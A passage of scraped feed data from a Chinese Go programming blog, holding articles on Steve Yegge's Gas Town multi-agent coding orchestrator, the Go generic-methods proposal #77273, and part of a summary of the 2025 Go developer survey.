的过程中，你是否遇到过这种情况：\u003c/p\u003e\n\u003cp\u003e有时候它简直是神，几秒钟就能重构一个复杂的模块；但有时候它又蠢得让人抓狂，甚至会一本正经地写出跑不通的代码，或者把你刚刚纠正过的错误再犯一遍。\u003c/p\u003e","title":"Claude Code 官方最佳实践：50 条没人告诉你的“核心军规”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/25/gas-town-multi-agent-orchestration-ai-programming-revolution\n大家好，我是Tony Bai。\n“启示录”（Apocalypse）在希腊语原意中并非仅指毁灭，更意味着“揭开面纱”。\n2026 年的钟声敲响时，软件开发领域正经历着这样一场启示录。旧世界——那个由 IDE、手动键入代码、人类结对编程构成的世界——正在崩塌。我们拥有了前所未有的强大模型（Claude Sonnet/Opus 4.5、GPT-5、Gemini 3.0 Pro等），但当开发者试图用它们构建庞大的企业级系统时，却陷入了另一种混乱：我们被淹没在无数的 Prompt 中，我们在复制粘贴中迷失，我们变成了 AI 的保姆。\n前 Amazon/Google 资深工程师、传奇技术博主 Steve Yegge 在其 57 岁生日之际，用一款名为 Gas Town 的工具，揭开了新世界的面纱。\n他指出，行业的方向错了。我们一直在试图制造一只能够解决所有问题的“超级蚂蚁”（Super-Ant）。但纵观生物学与人类工业史，解决复杂规模化问题的从来不是一个个体，而是分工明确、协同工作的群体。\nGas Town 的发布，标志着 AI 编程正式从 “单点辅助” (Level 6) 迈向 “集群编排” (Level 。在这个新世界里，IDE 变成了过时的手工作坊，而 Gas Town 则是一座由 Go 语言 构建的、轰鸣作响的 AI 软件工厂。\n本文将带大家走进这片废土，见证多智能体编排如何开启这场工业革命。\n软件开发的范式转移 开发者进化的终局 Steve Yegge 在其著名的《Revenge of the Junior Developer》中曾预言，AI 将赋予初级开发者对抗资深专家的能力。但他现在的观点更进一步：人类开发者必须进化为“编排者”（Orchestrator）。\n为了厘清从“手工作坊”到“工业化生产”的演变路径，他在《Welcome to Gas Town》一文中，提出了一套精准的开发者 AI 进化等级论。首先，你需要在表格中找到自己的位置：\nStage 1: 零 AI 或近乎零 AI (Zero or Near-Zero AI) 处于这一阶段的开发者，也许只使用基础的代码补全功能，偶尔向 Chat 问几个问题，工作流基本维持传统原貌。\nStage 2: IDE 中的编码智能体（权限开启） 你开始使用 IDE 侧边栏里那个窄窄的编码 Agent。但你很谨慎，开启了所有权限拦截，Agent 每次运行工具或修改文件，都需要征求你的许可。\nStage 3: IDE 中的智能体（YOLO 模式） 信任度建立。你关闭了烦人的权限询问，进入 YOLO (You Only Look Once) 模式。Agent 的权限变大，操作变得丝滑流畅。\nStage 4: IDE 中的宽屏智能体 (Wide Agent) Agent 逐渐反客为主，占据了屏幕的核心位置。源代码退居幕后，你不再逐行编写，而是在审阅 Agent 生成的 Diffs（差异）。\nStage 5: CLI 单体智能体 (CLI, single agent) 你离开了 IDE，进入终端（CLI）。Diff 信息在屏幕上飞速滚动，你可能扫一眼，也可能根本不看，直接让它提交。\nStage 6: CLI 多智能体 (CLI, multi-agent) 这是目前大多数高阶玩家的水平。 你经常在终端里并行运行 3 到 5 个 Claude Code 实例。你的编码速度非常快，远超常人。\nStage 7: 10+ 智能体（人工管理） 你试图同时操作 10 个以上的 Agent，但你开始触碰到“人肉管理”的极限。窗口切换、上下文同步让你手忙脚乱，效率反而开始下降。\nStage 8: 构建你自己的编排器 (Building your own orchestrator) 这就是 Gas Town 所在的领域，也是进化的终局。你站在了技术的最前沿，开始自动化整个工作流。你不再操作 Agent，你编排它们。\nGas Town 就是 Stage 8 的产物。当你有 30 个 Agent 同时工作时，你不再写代码，你是在管理产能。\n开发者AI进化的8个阶段\n为什么是“工厂”？ Gas Town 的核心隐喻是**“工厂”**。\n在传统 IDE 模式下，AI 是你的结对编程伙伴（Partner）。这听起来很温馨，但不可扩展。你不能和 50 个人同时结对编程。\n在 Gas Town 模式下，AI 是工人（Worker）。\n可替换性： 工人是“耗材”。一个 Agent 跑偏了、卡住了、上下文满了，直接销毁，启动一个新的接手。 专业分工： 有的负责写代码，有的负责 Review，有的负责合并，有的负责打扫卫生。 流水线： 任务在不同的 Agent 之间流转，而不是堆积在一个人身上。 解构 Gas Town —— 欢迎来到废土 Gas Town 的命名致敬了《疯狂的麦克斯》（Mad Max），暗示了 AI 编程早期的混乱与狂野。但在这层废土朋克的外衣下，是一套严密的分布式系统架构。\n基础设施：Town 与 Rig Gas Town 采用了一种类似 Kubernetes 的层级架构：\nTown (工作区)： 对应 Kubernetes 的 Cluster。这是你的根目录（如 ~/gt），也是 gt 命令行工具管理的边界。 Rig (钻井/项目)： 对应 Kubernetes 的 Node/Namespace。Town 下的每一个 Git 仓库就是一个 Rig。Gas Town 天生支持 Monorepo 或 多仓库并行开发。你可以命令 AI：“在前端 Rig 加个按钮，同时在后端 Rig 写好 API。” 角色体系 (The Roles)：智能体社会学 Gas Town 不使用通用的 AI，而是将 LLM 封装为特定的角色 (Persona)。每个角色都有独立的 System Prompt、上下文记忆和权限边界。\n1. The Mayor (市长/经理) 职责： 指挥官与交互入口。 工作流： 用户通过 tmux 窗口向 Mayor 下达模糊指令（例如：“把登录页面的 CSS 丑陋问题修一下”）。Mayor 不会自己去修，它会分析需求，创建任务单（Beads），然后呼叫工人。 2. The Crew (船员/核心团队) 职责： 你的贴身设计团队与长期雇佣兵。 **特性：**Long-lived (长寿的) 与 Named (有名字的)。 差异： 与一次性的 Polecats 不同，Crew 是你项目中的固定成员（你可以给它们起名，如 ‘Jack’, ‘Gus’, ‘Max’）。它们拥有持久的身份，直接向你汇报，不归 Witness 管辖。 用途： 它们是 Gas Town 里的“高级脑力工作者”。你通常用它们来进行复杂的架构设计、深入的代码审查，或者生成给 Polecat 做的“燃料”（Guzzoline，即详细的任务清单）。你可以在 tmux 中快速循环切换不同的 Crew 成员，像检阅精英部队一样给它们派活，甚至可以指定其中一个为“PR Sheriff”（PR 警长）来专门管理代码合并。 3. Polecats (臭鼬/一次性工人) 职责： 真正的执行者，耗材。 特性：****Ephemeral (短命的)。Polecats 是 Gas Town 的消耗品。它们是无状态的、用完即弃的。 蜂群战术 (Swarming)： 这是 Gas Town 最恐怖的能力。你可以瞬间启动 20 只 Polecats，并行处理积压的 20 个 Bug。它们各自拉分支、写代码、跑测试、提 PR，然后自我销毁。 4. The Refinery (炼油厂/合并专员) 职责： 解决 Merge Hell (合并地狱)。 痛点： 当 20 只 Polecats 同时提交代码时，Git 冲突是必然的。 机制： Refinery 维护一个合并队列 (Merge Queue)。它像一个冷静的守门员，依次将 PR Rebase 到主干，运行集成测试，解决冲突，合并代码。如果没有 Refinery，大规模的 AI 编程将不可持续。 5. The Witness (见证人/修复者) 职责： 监控与运维。 痛点： AI 经常会“发呆”（卡在等待输入界面）或陷入死循环。 机制： Witness 像一个巡逻的监工，它不写代码，只盯着 Polecats 的状态。如果发现某个 Worker 长时间没反应，Witness 会执行 gt nudge（推一下）或重启该 Worker。 6. The Deacon (执事) \u0026amp; Dogs (猎犬) 职责： 系统守护进程。 机制： Deacon 运行在一个死循环中，维护系统的“心跳”。为了防止 Deacon 自己被繁重的杂务阻塞，它配备了一组名为 Dogs 的子 Agent，专门处理日志清理、状态同步等脏活。 核心机制：GUPP 与 NDI Gas Town 的运行依赖两大理论基石：\nGUPP (Gas Town Universal Propulsion Principle) 定义： “如果钩子（Hook）上有工作，Agent 必须运行它。”\nLLM 通常被训练得非常礼貌，倾向于等待用户指令。Gas Town 必须打破这种“礼貌”。系统通过底层的事件循环，不断向 Agent 发送信号，强制驱动它们读取任务队列。\nNDI (Nondeterministic Idempotence) **定义：**非确定性幂等性。\n在 Temporal 等传统编排系统中，工作流要求是确定性的。但在 AI 领域，同样的 Prompt 每次生成的代码都不同。\nGas Town 接受这种混沌。它不要求过程一致，只要求结果收敛。\nAgent 崩溃了？没关系，新的 Agent 启动，读取 Git 中的状态（Checkpoint），继续干。 代码写错了？没关系，测试挂了会触发新的 Loop，直到测试通过。 这就是 AI 时代的“最终一致性”。\n技术核爆 —— MEOW 栈与 Beads 数据面 Gas Town 能够运转，不仅仅是因为 Prompt 写得好，更因为它底层有一套极具颠覆性的数据存储技术。这也是为什么它必须用 Go 重写的原因。\nBeads：Git-Backed Graph Database Steve Yegge 曾尝试用 SQLite 甚至文本文件来存储 Agent 记忆，但最终发明了 Beads。\nBeads 是什么？\n它是一个分布式任务追踪系统，但它将 Issue（任务） 视为 Code（代码）。\n存储： 每一个 Bead（任务单）是一个 JSONL 文件，直接存储在项目的 .beads/ 目录下。 版本控制： 任务与代码同构。当你切换 Git 分支时，你的任务列表也会自动切换到该分支的状态。这对于 AI 理解“当前分支要干什么”至关重要。 无冲突哈希： 为了支持分布式协作，Beads 不使用自增 ID（如 Issue #1），而是使用类似 Git 的哈希 ID（如 bd-a1b2），彻底解决了多 Agent 并发创建任务时的冲突问题。 MEOW 栈：分子级工作流 基于 Beads，Gas Town 构建了 MEOW (Molecular Expression of Work) 技术栈。\nAtom (原子)： 单个任务 Bead。\n**Molecule (分子)：**可编程的工作流。它是一个由 Beads 链接而成的有向无环图（DAG）。\n例如：设计分子 -\u0026gt; 实现分子 -\u0026gt; Review 分子 -\u0026gt; CI 分子。 Wisp (游丝)： 运行时的临时分子。它们在内存中流转，执行完即焚毁，不污染 Git 历史。\n这套机制让 Gas Town 能够定义复杂的**“软件生产配方”**。你可以编写一个 Formula（配方），定义“如何修复一个 Bug”，然后让 100 个 Agent 同时执行这个配方。\n为什么是 Go？(The “Boring” Advantage) Steve Yegge 之前尝试过 TypeScript 和 Python，但最终 Gas Town (v4) 选择了 Go。这并非巧合，而是 AI 基础设施演进的必然。\nAI 生成代码的“质量悖论”： * **TypeScript:** 类型系统过于复杂。LLM 经常为了满足类型检查而生成大量无用的样板代码，浪费 Token 且容易产生幻觉。 * **Python:** 动态类型导致运行时错误频发，且作为分发给用户的 CLI 工具，环境依赖管理是个噩梦。 * **Go:****Go 的“无聊”是 AI 的福音。** Go 的语法简单、正交、缺乏花哨的语法糖。AI 生成的 Go 代码逻辑扁平（if err != nil），易于静态分析，且编译速度极快。在 Vibe Coding 的循环中，**秒级编译**意味着 Agent 可以更快地试错。 并发原语： Gas Town 本质上是一个高并发的编排系统。它需要同时管理数十个 tmux 会话、监控数十个 Agent 进程、处理并行的 Beads 数据读写。Go 的 Goroutines 和 Channels 让这种复杂的并发模型变得可控且高效。\n云原生基因： Gas Town 的目标是成为 AI 时代的 Kubernetes。使用与 K8s、Docker、Terraform 相同的语言，意味着它可以无缝融入现有的云原生生态。\n实战指南 —— Vibe Coding 与贝佐斯模式 Vibe Coding：氛围编程 在 Gas Town 中，编程不再是打字，而是一种**“氛围编程” (Vibe Coding)**。\n你不再关注变量命名，你关注意图。 你不再关注函数实现，你关注验收标准。 实战场景示例： 你告诉 Mayor：“给 Beads 项目加个功能，支持导出 CSV。”\nMayor 创建 Beads，Witness 唤醒 Polecat。\nPolecat 1 写代码，Polecat 2 写测试。\n你不需要看中间过程。5 分钟后，Refinery 通知你：“PR 已准备好，测试通过，请验收。”\n你扫一眼 Diff，回复：“LGTM。”\n代码合并，任务结束。\n贝佐斯模式 (Bezos Mode) 这种高效带来的副作用是 “决策疲劳”。\nSteve 称之为 Bezos Mode。就像杰夫·贝佐斯一样，你不再做执行层的工作，你整天都在做高维度的决策：架构评审、产品方向判断、风险评估。\n这种高密度的决策会迅速耗尽大脑的“缓冲区”。Steve 及其团队发现，使用 Gas Town 后，他们每天下午必须强制午睡（Nap Strike），否则大脑会罢工。\n这预示着未来开发者的核心竞争力，将从“编码速度”转变为“决策质量”。\n终局 —— 工业化未来 编排器的战国时代 目前，Claude Code 只是“工人”，Loom 和 Ralph Wiggum 试图成为“包工头”，而 Gas Town 是唯一的**“工厂”**。\nGas Town 不关注单个 Agent 有多强，它关注的是账本 (Ledger)、审计 (Audit Trail) 和 流水线 (Pipeline)。这才是企业级软件开发的刚需。\n大公司的黄昏 Steve Yegge 做出了一个激进的预测：“一人一库” (One Engineer per Repo)。\n随着 Gas Town 类工具的普及，一个装备了 AI 军团的 3 人精英小组，其产出将吊打 100 人的传统开发部门。大公司内部繁琐的沟通成本，在 AI 的光速执行面前，将成为无法忍受的累赘。\n未来的独角兽，可能只有 3 名员工，但拥有 3000 个并发运行的 Agent。\n对于开发者而言，现在是时候放下 IDE，学习 Beads，去尝试驾驭那个疯狂、混乱但充满无限可能的 Gas Town 了。\n小结：新世界的入场券 截至本文编写时，Gas Town 目前仍处于 v0.5.0 的早期阶段，它昂贵（消耗大量 Token）、危险（可能搞乱代码）、粗糙（基于 tmux）。但它代表了不可逆转的未来。\nGas Town 的出现，就是软件工程领域的“蒸汽机时刻”。它无情地宣告了手工作坊（IDE）时代的终结，并开启了工业化大生产（编排器）的序幕。\nGo 语言凭借其稳健、高效和并发优势，再次赢得了这场 AI 基础设施战争的入场券。\n“启示录”已经降临。旧世界的围墙正在倒塌，而 Gas Town 的大门已经打开。\n因为正如 Steve 所说：“你是想继续做一只忙碌的蚂蚁，还是想成为那只在竹林里指挥若定的熊猫？”\nWelcome to Gas Town.\nThe factory is open.\n参考资料 https://github.com/steveyegge/gastown https://github.com/steveyegge/beads Welcome to Gas Town – https://steve-yegge.medium.com/welcome-to-gas-town-4f25ee16dd04 Gas Town Decoded – https://www.alilleybrinker.com/mini/gas-town-decoded/ Beads best practices – https://steve-yegge.medium.com/beads-best-practices-2db636b9760c The Future of Coding Agents – https://steve-yegge.medium.com/the-future-of-coding-agents-e9451a84207c Gas Town Emergency User Manual – https://steve-yegge.medium.com/gas-town-emergency-user-manual-cf0e4556d74b Stevey’s Birthday Blog – https://steve-yegge.medium.com/steveys-birthday-blog-34f437139cb5 你的“进化”阶段\nGas Town 描绘的未来令人心潮澎湃，也让人心生敬畏。对照文中的“8个进化阶段”，你目前处于哪一级？你准备好迎接“一人一库”的时代，还是更享受传统的结对编程？\n欢迎在评论区晒出你的“等级”，或者分享你对多智能体协作的看法！让我们一起在废土中寻找新世界的坐标。\n如果这篇文章点燃了你对 AI 编程的全新想象，别忘了点个【赞】和【在看】，并转发给你的极客朋友，邀请他们一起加入 Gas Town！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/25/gas-town-multi-agent-orchestration-ai-programming-revolution/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/gas-town-multi-agent-orchestration-ai-programming-revolution-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/25/gas-town-multi-agent-orchestration-ai-programming-revolution\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/25/gas-town-multi-agent-orchestration-ai-programming-revolution\"\u003ehttps://tonybai.com/2026/01/25/gas-town-multi-agent-orchestration-ai-programming-revolution\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“启示录”（Apocalypse）在希腊语原意中并非仅指毁灭，更意味着“揭开面纱”。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e2026 年的钟声敲响时，软件开发领域正经历着这样一场启示录。旧世界——那个由 IDE、手动键入代码、人类结对编程构成的世界——正在崩塌。我们拥有了前所未有的强大模型（Claude Sonnet/Opus 4.5、GPT-5、Gemini 3.0 Pro等），但当开发者试图用它们构建庞大的企业级系统时，却陷入了另一种混乱：我们被淹没在无数的 Prompt 中，我们在复制粘贴中迷失，我们变成了 AI 的保姆。\u003c/p\u003e","title":"Gas Town 启示录：多智能体编排开启 AI 编程工业革命"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/24/go-generics-finally-supports-generic-methods\n大家好，我是Tony Bai。\n“我们预计 Go 永远不会添加泛型方法。” —— Go FAQ (曾几何时)\n对于许多期待 Go 泛型能像 C++ 或 Java 那样强大的开发者来说，这句话曾像一盆冷水。然而，就在最近，Go 语言之父之一、核心团队成员 Robert Griesemer 提交了一份重量级提案 #77273，正式建议为 Go 添加泛型方法 (Generic Methods) 的支持。\n这是 Go 团队在设计哲学上的一次深刻反思与转变。为什么曾经被视为“不可能”的特性如今变得可行？它将如何改变我们编写 Go 代码的方式？本文将为你详细解读这份提案的来龙去脉。\n背景与“心结” —— 为什么我们等了这么久？ 在 Go 1.18 泛型落地之初，开发者们很快发现了一个令人困惑的“不对称性”：我们可以编写泛型函数，可以定义泛型类型，但我们却不能编写泛型方法。\n// 泛型函数：OK func Print[T any](s []T) { ... } // 泛型类型：OK type List[T any] struct { ... } // 泛型方法（具体方法）：目前报错！ func (l *List[T]) Map[R any](f func(T) R) []R { ... } 这种限制让许多习惯了链式调用的开发者感到痛苦。例如，在处理集合操作时，我们不得不打断链式调用，转而使用函数：\n// 目前的写法（函数式）： result := Map(Filter(list, predicate), mapper) // 期望的写法（方法式）： result := list.Filter(predicate).Map(mapper) 为什么会有这个限制？ 根源在于 Go 的接口 (Interface) 设计。\n在 Go 中，方法的主要职责曾被认为是“实现接口”。如果你允许在结构体上定义泛型方法，那么逻辑上，你也应该允许在接口中定义泛型方法。\n然而，支持接口中的泛型方法在实现上极其困难。因为 Go 的接口是隐式实现的（Structural Typing），编译器无法在编译期知道所有可能实现该接口的类型及其泛型方法的实例化情况。这会导致需要在运行时动态生成代码（JIT），或者面临巨大的性能开销，这与 Go “快速编译、静态链接”的哲学相悖。\n正因如此，Go 团队为了避免陷入接口泛型方法的泥潭，索性“一刀切”地禁止了所有泛型方法，包括具体的结构体方法。\n观念的转变 —— 解开“死结” 77273 提案的核心，在于观念的转变。为了厘清讨论的基础，Robert Griesemer 在提案中首先明确了两个术语的定义：\n具体方法 (Concrete Method)：指像函数一样声明的、带有接收者 (receiver) 的非接口方法。它属于某个具体的类型（如 struct）。 接口方法 (Interface Method)：指在 接口类型 (interface) 中定义的方法名和签名。 Go 团队开始意识到，这两者虽然都叫“方法”，但其角色不必完全绑定。Robert Griesemer 写道：\n“或许我们需要改变一下看法：具体方法本身就是一种有用的语言特性，独立于接口而存在。”\nGo 团队开始意识到，具体方法不仅仅是为了实现接口，它更是代码组织和API 设计的重要手段。\n命名空间：方法将函数绑定到特定类型上，提供了清晰的命名空间。 可读性：方法支持从左到右的链式调用，比嵌套函数调用更符合人类直觉。 既然“接口泛型方法”暂时无法实现，为什么不能先解放“具体泛型方法”呢？\n于是，提案的核心逻辑变得简单而清晰：允许在具体类型上定义泛型方法，但这些方法不能用于匹配接口。\n换句话说，如果一个接口定义了 m()，而你的结构体有一个泛型方法 mT any，那么这个结构体并不算实现了该接口。因为接口方法不能有类型参数，所以它们在签名上根本不匹配。\n通过将“具体方法”与“接口实现”解绑，Go 团队终于找到了绕过技术壁垒、通过泛型方法的路径。\n提案详解 —— 语法与规则 如果你熟悉 Go 的泛型函数，那么泛型方法的语法会让你感到非常亲切。它几乎就是将泛型函数的语法照搬到了方法声明中。\n1. 声明语法 目前的规范中，方法声明如下：\nfunc Receiver MethodName Signature\n提案修改为：\nfunc Receiver MethodName [TypeParameters] Signature\n示例：\ntype S struct { ... } // 定义一个泛型方法 m，接受类型参数 P func (s *S) m[P any](x P) { ... } 接收者本身也可以是泛型的：\ntype G[P any] struct { ... } // G 自身的类型参数 P 和方法 m 的类型参数 Q 同时在作用域内 func (g *G[P]) m[Q any](x Q) { ... } 2. 调用语法 调用泛型方法与调用泛型函数完全一致。支持显式实例化，也支持类型推断。\nvar s S // 显式传入类型参数 int s.m[int](42) // 类型推断：编译器自动推断 P 为 int s.m(42) 3. 方法表达式 (Method Expressions) 这是一个非常酷的特性。你可以将泛型方法作为一个函数值提取出来。\ntype List[E any] struct { ... } func (l *List[E]) Format[F any](e E, f F) string { ... } // 实例化 List 类型，提取 Format 方法 // 得到的 f 是一个泛型函数 f := List[string].Format // f 的签名：func[F any](l *List[string], e string, val F) string 注意，你必须先实例化接收者类型（List[string]），但方法本身的类型参数（F）可以留待后续调用时确定。\n影响与限制 —— 我们得到了什么，失去了什么？ 得到的 更流畅的 API：filter、map、reduce 等操作终于可以作为方法挂载在切片包装类型上了。 更好的代码组织：不再需要为了使用泛型而编写大量的顶层函数，可以将逻辑收敛到类型内部。 标准库的潜在进化：像 math/rand/v2 这样的包，其 Rand 类型目前因为缺乏泛型方法，无法提供与顶层泛型函数 N[T] 等价的方法。有了这个提案，r.Nint 将成为可能。 依然缺失的（限制） 接口依然不支持泛型方法：你仍然不能定义 type Visitor interface { VisitT any }。这是目前的底线。 泛型方法不实现接口：即使你的泛型方法实例化后（比如 m[int]）签名与接口匹配，它也不被视为实现了接口。 type Reader struct{} func (r *Reader) Read[T any](buf []T) (int, error) { ... } // 错误！Reader 并没有实现 io.Reader // 因为 io.Reader 的 Read 需要 Read([]byte)，而 Reader 的 Read 是一个泛型模版 var _ io.Reader = \u0026amp;Reader{} 反射不支持：reflect 包目前无法处理泛型方法。你不能通过反射去发现或调用一个泛型方法，除非它已经被实例化。 社区反响与未来展望 该提案一经发布，立即在 Go 社区引起了强烈反响。\n支持的声音：大部分开发者表示“这是期待已久的功能”，认为是 Go 泛型拼图的最后一块。 担忧的声音：也有开发者担心，这会增加语言的教学难度。初学者可能会困惑：“为什么我写了 Read[T] 方法，编译器却说我没实现 io.Reader？” 关于“具体方法”的术语：有讨论认为“具体方法 (Concrete Method)”这个术语可能会误导人，因为在泛型上下文中，它依然是抽象的，直到被实例化。 实施计划：\n这被视为一个完全向后兼容的变更。如果提案获批，我们最早可能在 Go 1.27 中看到它的身影（或许会先作为 GOEXPERIMENT 推出）。\n对于工具链（如 gopls、go/types）来说，这将是一个巨大的工程挑战，可能需要几个版本周期来完全适配。\n小结：Go 的务实进化 从坚决反对泛型，到引入泛型但限制方法，再到如今解绑接口与方法、拥抱泛型方法，Go 语言的演进之路始终贯彻着务实 (Pragmatism) 的哲学。\n它不追求理论上的完美对称，而是优先解决工程实践中的痛点。虽然“接口泛型方法”的缺失依然是一个遗憾，但#77273 提案无疑为 Go 开发者打开了一扇通往更表达力、更优雅代码的大门。\n让我们拭目以待，迎接 Go 泛型的完全体！\n资料链接：https://github.com/golang/go/issues/77273\n你的“泛型”期待\n泛型方法的到来，无疑会让 Go 代码变得更流畅。**在你的项目中，有哪些痛点是目前泛型无法解决，但有了泛型方法后就能迎刃而解的？或者，你\n对“泛型方法不匹配接口”这一限制有什么看法？**\n欢迎在评论区分享你的代码场景或担忧！让我们一起期待 Go 语言的下一次进化。\n如果这篇文章让你对 Go 的未来充满了期待，别忘了点个【赞】和【在看】，并转发给你的 Gopher 朋友，告诉他们：好日子要来了！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/24/go-generics-finally-supports-generic-methods/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-generics-finally-supports-generic-methods-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/24/go-generics-finally-supports-generic-methods\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/24/go-generics-finally-supports-generic-methods\"\u003ehttps://tonybai.com/2026/01/24/go-generics-finally-supports-generic-methods\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“我们预计 Go 永远不会添加泛型方法。” —— Go FAQ (曾几何时)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e对于许多期待 Go 泛型能像 C++ 或 Java 那样强大的开发者来说，这句话曾像一盆冷水。然而，就在最近，Go 语言之父之一、核心团队成员 Robert Griesemer 提交了一份重量级提案 \u003ca href=\"https://github.com/golang/go/issues/77273\"\u003e#77273\u003c/a\u003e，正式建议为 Go 添加\u003cstrong\u003e泛型方法 (Generic Methods)\u003c/strong\u003e 的支持。\u003c/p\u003e","title":"Go 泛型落地 4 年后，终于要支持泛型方法了！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/23/go-developer-2025-survey-result\n大家好，我是Tony Bai。\n近日，Go 官方发布了 2025 年开发者调查报告。作为 Go 社区的年度“体检报告”，这份基于 5,379 份有效问卷的数据，为我们勾勒出了一幅清晰的 Go 生态全景图。\n总体来看，Go 依然是一个令人愉悦的语言，拥有极高的用户忠诚度和稳固的云原生地位。但在这份光鲜的成绩单背后，我们也看到了一些值得深思的信号：关于最佳实践的迷茫、对 AI 工具的爱恨交织，以及对官方领导力的期待。\n今天，让我们抛开表面的数字，一起来解读一下这份报告背后的趋势与挑战。\n画像：成熟、专业，但新人“断层”？ 首先，让我们看看是谁在使用 Go。\n专业主义：87% 的受访者是专业开发者，82% 将 Go 用于主要工作。这再次印证了 Go 是一门“为生产而生”的语言。 经验丰富：75% 的开发者拥有 6 年以上的职业编程经验。更有意思的是，81% 的人表示他们的职业经验长于 Go 经验。这意味着绝大多数 Gopher 都是从其他语言（如 Java, Python）“转行”而来的。 隐忧：使用 Go 不满 1 年的新人比例从 2024 年的 21% 下降到了 13%。\n这可能并非 Go 的吸引力下降，而是受宏观经济影响，入门级软件工程师岗位的招聘紧缩。由于许多人是为了特定工作才学习 Go，招聘市场的寒冬直接传导到了新人的流入率上。这提醒社区，需要更多关注新人的入门体验和职业引导。\n满意度：稳如泰山，但“成长的烦恼”依旧 Go 的核心竞争力依然坚挺：91% 的开发者对使用 Go 感到满意，其中“非常满意”的比例高达近 2/3。这一数据自 2019 年以来一直保持极高水平。\n开发者们爱 Go 的理由很纯粹：简单、标准库强大、工具链完善。\n一位来自能源行业的 10 年+ 资深开发者评价道：“我使用 Go 的全部原因就是其出色的工具和标准库… 它让开发面向服务的应用变得简单而可靠。”\n然而，痛点依然存在：\n最佳实践的迷茫 (33%)：这是连续多年的头号痛点。开发者们渴望官方能提供更具观点性 (opinionated) 的指导，比如“如何组织项目结构”、“如何优雅地处理错误”。 “别人家孩子”的功能 (28%)：许多开发者怀念其他语言的特性，如 Enum (枚举)、Sum Types、以及更简洁的错误处理（摆脱 if err != nil）。 信任危机 (26%)：如何找到高质量、值得信赖的第三方模块？开发者希望 pkg.go.dev 能提供类似“稳定版本”、“用户数量”、“维护活跃度”等更明确的质量信号。 应用场景：云原生的统治者，AI 的探索者 Go 用来做什么？答案毫无悬念：\nCLI 工具 (74%) API 服务 (73%) 云基础设施工具 (38%) 这“三驾马车”构成了 Go 的基本盘。\n但在最热门的 AI 领域，Go 的表现呈现出一种**“双刃剑”**态势。\n开发者的态度：53% 的 Gopher 每天都在使用 AI 辅助编程工具。 Go 的角色：尽管 11% 的人正在用 Go 构建 ML/AI 模型或工具，但78% 的受访者表示他们目前的 Go 项目不包含 AI 功能。相比 2024 年的 59% 未参与，这个比例反而上升了。这可能意味着初期的 AI 炒作冷却后，企业在生产环境中落地 AI 功能时变得更加谨慎。 AI 工具：既是蜜糖，也是砒霜 关于 AI 辅助编程（如 GitHub Copilot, ChatGPT，Claude Code, Gemini等），调查结果揭示了一个有趣的现象：用得越多，抱怨越多。\n使用率：ChatGPT (45%) 和 GitHub Copilot (31%) 是主流，Claude (25%) 紧随其后。 满意度：虽然 55% 的人表示满意，但大部分只是“比较满意”，远低于对 Go 语言本身的满意度。 为什么？因为质量。\n开发者们发现，AI 在**“寻找信息”（如解释代码、查找 API 用法）和“消除苦力活”（如生成单测、写样板代码）方面表现出色。但在“编写核心代码”时，AI 经常生成不可运行、有 Bug 或不符合 Go 惯用写法 (Non-idiomatic)** 的代码。\n一位金融行业的开发者吐槽道：“我从未对 AI 生成的代码质量满意过……我也觉得审查 AI 生成的代码非常累人，这种开销扼杀了它的生产力潜力。”\n官方的自我反思：文档与信任 这份报告最令人敬佩的一点，是 Go 